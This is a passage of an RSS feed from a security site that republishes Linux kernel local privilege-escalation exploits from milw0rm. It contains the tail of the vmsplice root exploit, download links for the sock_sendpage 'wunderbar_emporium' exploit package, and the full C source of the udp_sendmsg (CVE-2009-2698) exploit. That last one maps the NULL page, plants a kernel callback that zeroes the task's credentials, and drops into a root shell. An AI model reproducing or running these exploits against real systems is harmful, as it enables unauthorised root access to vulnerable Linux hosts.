	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">**</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span><span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>PAGE_SIZE<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
	map_size <span style="color: #339933;">=</span> PAGE_SIZE<span style="color: #339933;">;</span>
	map_addr <span style="color: #339933;">=</span> mmap<span style="color: #009900;">&#40;</span>pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> map_size<span style="color: #339933;">,</span> PROT_READ <span style="color: #339933;">|</span> PROT_WRITE<span style="color: #339933;">,</span>
	                MAP_FIXED <span style="color: #339933;">|</span> MAP_PRIVATE <span style="color: #339933;">|</span> MAP_ANONYMOUS<span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>map_addr <span style="color: #339933;">==</span> MAP_FAILED<span style="color: #009900;">&#41;</span>
		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;mmap&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	memset<span style="color: #009900;">&#40;</span>map_addr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] mmap: 0x%lx .. 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> map_addr<span style="color: #339933;">,</span> map_addr <span style="color: #339933;">+</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] page: 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*****/</span>
	map_size <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>PIPE_BUFFERS <span style="color: #339933;">*</span> <span style="color: #0000dd;">3</span> <span style="color: #339933;">+</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> PAGE_SIZE<span style="color: #339933;">;</span>
	map_addr <span style="color: #339933;">=</span> mmap<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span> map_size<span style="color: #339933;">,</span> PROT_READ <span style="color: #339933;">|</span> PROT_WRITE<span style="color: #339933;">,</span>
	                MAP_PRIVATE <span style="color: #339933;">|</span> MAP_ANONYMOUS<span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>map_addr <span style="color: #339933;">==</span> MAP_FAILED<span style="color: #009900;">&#41;</span>
		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;mmap&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	memset<span style="color: #009900;">&#40;</span>map_addr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] mmap: 0x%lx .. 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> map_addr<span style="color: #339933;">,</span> map_addr <span style="color: #339933;">+</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*****/</span>
	map_size <span style="color: #339933;">-=</span> <span style="color: #0000dd;">2</span> <span style="color: #339933;">*</span> PAGE_SIZE<span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>munmap<span style="color: #009900;">&#40;</span>map_addr <span style="color: #339933;">+</span> map_size<span style="color: #339933;">,</span> PAGE_SIZE<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;munmap&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*****/</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>pipe<span style="color: #009900;">&#40;</span>pi<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	close<span style="color: #009900;">&#40;</span>pi<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	iov.<span style="color: #202020;">iov_base</span> <span style="color: #339933;">=</span> map_addr<span style="color: #339933;">;</span>
	iov.<span style="color: #202020;">iov_len</span>  <span style="color: #339933;">=</span> ULONG_MAX<span style="color: #339933;">;</span>
&nbsp;
	signal<span style="color: #009900;">&#40;</span>SIGPIPE<span style="color: #339933;">,</span> exit_code<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	_vmsplice<span style="color: #009900;">&#40;</span>pi<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>iov<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;vmsplice&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// milw0rm.com [2008-02-09]</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/linux-kernel-2-6-17-2-6-24-1-vmsplice-local-root-exploit.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit</title>
		<link>http://www.nuanyue.com/linux-kernel-2-x-sock_sendpage-local-ring0-root-exploit.html</link>
		<comments>http://www.nuanyue.com/linux-kernel-2-x-sock_sendpage-local-ring0-root-exploit.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 14:58:30 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[linux漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=764</guid>
		<description><![CDATA[<pre>/* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy -- some nice library functions for reuse[......]</pre><p class='read-more'><a href='http://www.nuanyue.com/linux-kernel-2-x-sock_sendpage-local-ring0-root-exploit.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<pre>/* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy -- some nice library functions for reuse here though

   credits to julien tinnes/tavis ormandy for the bug

   may want to remove the __attribute__((regparm(3))) for 2.4 kernels,
   I have no time to test

spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to.  Now all RHEL boxes will get owned by
leeches.c :p

fd7810e34e9856f77cba67f291ba115f33411ebd
d4b0e413ebf15d039953dfabf7f9a2d1

thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux
policies

and nice work Linus on trying to silently fix an 8 year old
vulnerability, leaving vendors without patched kernels for their users.

  use ./wunderbar_emporium.sh for everything

don't have mplayer? watch an earlier version of the exploit at:

http://www.youtube.com/watch?v=arAfIp7YzZ4

*/

http://www.grsecurity.net/~spender/wunderbar_emporium.tgz

back: <a href="http://www.nuanyue.com/wp-content/uploads/2009/09/2009-wunderbar_emporium.tgz">2009-wunderbar_emporium</a></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/linux-kernel-2-x-sock_sendpage-local-ring0-root-exploit.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Kernel &lt; 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)</title>
		<link>http://www.nuanyue.com/linux-kernel-2-6-19-udp_sendmsg-local-root-exploit-x86x64.html</link>
		<comments>http://www.nuanyue.com/linux-kernel-2-6-19-udp_sendmsg-local-root-exploit-x86x64.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 14:51:35 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[linux漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=759</guid>
		<description><![CDATA[<p>/* second verse, same as the first<br />
CVE-2009-2698 udp_sendmsg(), x86/x64<br />
Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at<br />
NULL and[......]</p><p class='read-more'><a href='http://www.nuanyue.com/linux-kernel-2-6-19-udp_sendmsg-local-root-exploit-x86x64.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>/* second verse, same as the first<br />
CVE-2009-2698 udp_sendmsg(), x86/x64<br />
Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at<br />
NULL and finding it executed<br />
This exploit is a bit more nuanced and thoughtful <img src='http://www.nuanyue.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
use ./therebel.sh for everything</p>
<p>At this moment, when each of us must fit an arrow to his bow and<br />
enter the lists anew, to reconquer, within history and in spite of it,<br />
that which he owns already, the thin yield of his fields, the brief<br />
love of the earth, at this moment when at last a man is born, it is<br />
time to forsake our age and its adolescent furies. The bow bends;<br />
the wood complains. At the moment of supreme tension, there will<br />
leap into flight an unswerving arrow, a shaft that is inflexible and<br />
free. -Camus<br />
*/<br />
back: <a href="http://www.nuanyue.com/wp-content/uploads/2009/09/2009-therebel.tgz">2009-therebel</a></p>
<p> </p>
<p>Linux Kernel &lt; 2.6.19 udp_sendmsg Local Root Exploit (debian/etch)</p>

<div class="wp_codebox"><table><tr id="p7597"><td class="code" id="p759code7"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/***********************************************************
 * hoagie_udp_sendmsg.c
 * LOCAL LINUX KERNEL ROOT EXPLOIT (&amp;lt; 2.6.19) - CVE-2009-2698
 *
 * udp_sendmsg bug exploit via (*output) callback function
 * used in dst_entry / rtable
 *
 * Bug reported by Tavis Ormandy and Julien Tinnes
 * of the Google Security Team
 *
 * Tested with Debian Etch (r0)
 *
 * $ cat /etc/debian_version
 * 4.0
 * $ uname -a
 * Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
 * $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
 * $ ./hoagie_udp_sendmsg
 * hoagie_udp_sendmsg.c - linux root &amp;lt; 2.6.19 local
 * -andi / void.at
 *
 * sh-3.1# id
 * uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
 * sh-3.1#
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/</span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
&nbsp;
<span style="color: #808080; font-style: italic;">/**
 * this code will be called from NF_HOOK via (*output) callback in kernel mode
 */</span>
<span style="color: #993333;">void</span> set_current_task_uids_gids_to_zero<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   asm<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;push %eax<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0xffffe000, %eax<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;andl %esp, %eax<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl (%eax), %eax<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x150(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x154(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x158(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x15a(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x160(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x164(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x168(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;movl $0x0, 0x16a(%eax)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
       <span style="color: #ff0000;">&quot;pop  %eax<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #993333;">int</span> s<span style="color: #339933;">;</span>
   <span style="color: #993333;">struct</span> msghdr header<span style="color: #339933;">;</span>
   <span style="color: #993333;">struct</span> sockaddr_in sin<span style="color: #339933;">;</span>
   <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>rtable <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span>
&nbsp;
   fprintf<span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span>
           <span style="color: #ff0000;">&quot;hoagie_udp_sendmsg.c - linux root &amp;lt;= 2.6.19 local<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> 	              <span style="color: #ff0000;">&quot;-andi / void.at<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    s <span style="color: #339933;">=</span> socket<span style="color: #009900;">&#40;</span>PF_INET<span style="color: #339933;">,</span> SOCK_DGRAM<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>s <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>       fprintf<span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;[*] can't create socket<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>       exit<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #009900;">&#125;</span>    <span style="color: #808080; font-style: italic;">/**     * initialize required variables     */</span>    memset<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>header<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> msghdr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    memset<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>sin<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr_in<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    sin.<span style="color: #202020;">sin_family</span> <span style="color: #339933;">=</span> AF_INET<span style="color: #339933;">;</span>    sin.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span> <span style="color: #339933;">=</span> inet_addr<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;127.0.0.1&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    sin.<span style="color: #202020;">sin_port</span> <span style="color: #339933;">=</span> htons<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">22</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    header.<span style="color: #202020;">msg_name</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>sin<span style="color: #339933;">;</span>    header.<span style="color: #202020;">msg_namelen</span> <span style="color: #339933;">=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>sin<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #808080; font-style: italic;">/**     * and this is the trick:     * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=&amp;gt; offset 0x74)
    * so we map our rtable buffer at offset 0 and set output callback function
    *
    * struct dst_entry
    * {
    *         struct dst_entry        *next;
    *         atomic_t                __refcnt;       client references
    *         int                     __use;
    *         struct dst_entry        *child;
    *         struct net_device       *dev;
    *         short                   error;
    *         short                   obsolete;
    *         int                     flags;
    * #define DST_HOST                1
    * #define DST_NOXFRM              2
    * #define DST_NOPOLICY            4
    * #define DST_NOHASH              8
    * #define DST_BALANCED            0x10
    *         unsigned long           lastuse;
    *         unsigned long           expires;
    *
    *         unsigned short          header_len;     * more space at head required *
    *         unsigned short          trailer_len;    * space to reserve at tail *
    *
    *         u32                     metrics[RTAX_MAX];
    *         struct dst_entry        *path;
    *
    *         unsigned long           rate_last;      * rate limiting for ICMP *
    *         unsigned long           rate_tokens;
    *
    *         struct neighbour        *neighbour;
    *         struct hh_cache         *hh;
    *         struct xfrm_state       *xfrm;
    *
    *         int                     (*input)(struct sk_buff*);
    *         int                     (*output)(struct sk_buff*);
    *
    * #ifdef CONFIG_NET_CLS_ROUTE
    *         __u32                   tclassid;
    * #endif
    *
    *         struct  dst_ops         *ops;
    *         struct rcu_head         rcu_head;
    *
    *         char                    info[0];
    * };
    *
    * struct rtable
    * {
    *         union
    *         {
    *                 struct dst_entry        dst;
    *                 struct rtable           *rt_next;
    *         } u;
    *
    *         struct in_device        *idev;
    *
    *         unsigned                rt_flags;
    *         __u16                   rt_type;
    *         __u16                   rt_multipath_alg;
    *
    *         __be32                  rt_dst; * Path destination     *
    *         __be32                  rt_src; * Path source          *
    *         int                     rt_iif;
    *
    *         * Info on neighbour *
    *         __be32                  rt_gateway;
    *
    *         * Cache lookup keys *
    *         struct flowi            fl;
    *
    *         * Miscellaneous cached information *
    *          __be32                  rt_spec_dst; * RFC1122 specific destination *
    *         struct inet_peer        *peer; * long-living peer info *
    * };
    *
    */</span>
   rtable <span style="color: #339933;">=</span> mmap<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">4096</span><span style="color: #339933;">,</span> PROT_READ <span style="color: #339933;">|</span> PROT_WRITE <span style="color: #339933;">|</span> PROT_EXEC<span style="color: #339933;">,</span> MAP_FIXED <span style="color: #339933;">|</span> MAP_ANONYMOUS <span style="color: #339933;">|</span> MAP_PRIVATE<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>rtable <span style="color: #339933;">==</span> MAP_FAILED<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      fprintf<span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;[*] mmap failed<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      exit<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
   <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>rtable <span style="color: #339933;">+</span> <span style="color: #208080;">0x74</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>set_current_task_uids_gids_to_zero<span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #808080; font-style: italic;">/* trigger exploit
    *
    * the second sendmsg() call will call ip_append_data() with rt == NULL
    * because of:
    * if (up-&amp;gt;pending) {
    *          *
    *          * There are pending frames.
    *          * The socket lock must be held while it's corked.
    *          *
    *          lock_sock(sk);
    *          if (likely(up-&amp;gt;pending)) {
    *                    if (unlikely(up-&amp;gt;pending != AF_INET)) {
    *                            release_sock(sk);
    *                            return -EINVAL;
    *                    }
    *                    goto do_append_data;
    *            }
    *            release_sock(sk);
    *    }
    *
    */</span>
   sendmsg<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>header<span style="color: #339933;">,</span> MSG_MORE<span style="color: #339933;">|</span>MSG_PROXY<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   sendmsg<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span>header<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
   close<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
   system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// milw0rm.com [2009-09-02]</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/linux-kernel-2-6-19-udp_sendmsg-local-root-exploit-x86x64.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
